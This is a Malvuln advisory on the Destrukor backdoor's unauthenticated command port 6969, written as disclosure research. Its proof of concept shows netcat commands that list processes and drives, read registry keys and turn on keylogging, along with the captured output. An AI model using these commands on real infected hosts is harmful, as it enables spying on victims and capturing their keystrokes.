Backdoor.Win32.Destrukor.20 MVID-2022-0627 Remote Command Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/c790749f851d48e66e7d59cc2e451956_B.txtContact: [email protected]: twitter.com/malvulnThreat: Backdoor.Win32.Destrukor.20Vulnerability: Unauthenticated Remote Command ExecutionDescription: The malware listens on TCP port 6969. Third-party adversaries who can reach infected hosts can run commands made available by the backdoor. Remote attackers can read anything the victim types by starting the remote key log command "key_on". Some commands in Polish include "podglad", "dyski", "procesy", "wywiad", "rej_klucze1", "offserver" and many others.Family: DestrukorType: PE32MD5: c790749f851d48e66e7d59cc2e451956Vuln ID: MVID-2022-0627Dropped files: sys32.exeDisclosure: 07/30/2022Exploit/PoC:C:\>nc64.exe x.x.x.x 6969podgladpodglad_ok140922dyskiC:\ - Dysk lokalnyD:\ - CD-ROMprocesyprocesyC:\Windows\System32\sihost.exeC:\Windows\System32\svchost.exeC:\Windows\System32\taskhostw.exeC:\Windows\System32\ctfmon.exeC:\Windows\explorer.exeC:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeC:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exeC:\Program Files\Process Hacker 2\ProcessHacker.exeC:\Windows\System32\vm3dservice.exeC:\Program Files\VMware\VMware Tools\vmtoolsd.exeC:\Windows\System32\cmd.exeC:\Windows\System32\conhost.exeC:\Windows\System32\cmd.exeC:\Windows\System32\conhost.exeC:\Windows\System32\taskhostw.exeC:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\dllhost.exeC:\Windows\System32\cmd.exeC:\Windows\System32\conhost.exeC:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeC:\Windows\sys32.exewywiad\r\nwywiadWindows 10 EnterpriseggDESKTOP-2C3IQHO192.168.18.125285212778C:\WINDOWS2.0.0rej_klucze1AppEventsAppXBackupContentTypeConsoleControl PanelEnvironmentEUDCKeyboard LayoutNetworkPrintersSoftwareSystemVolatile Environmentkey_on@N@O@T@E@P@A@D@[Enter]@[L Ctrl]@A@[<-BckSpc]@[L Shift]@I@ @[L Shift]@D@O@N@T@ @L@I@K@E@ @Y@O@U@1   ===> "I DONT LIKE YOU"offserverDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).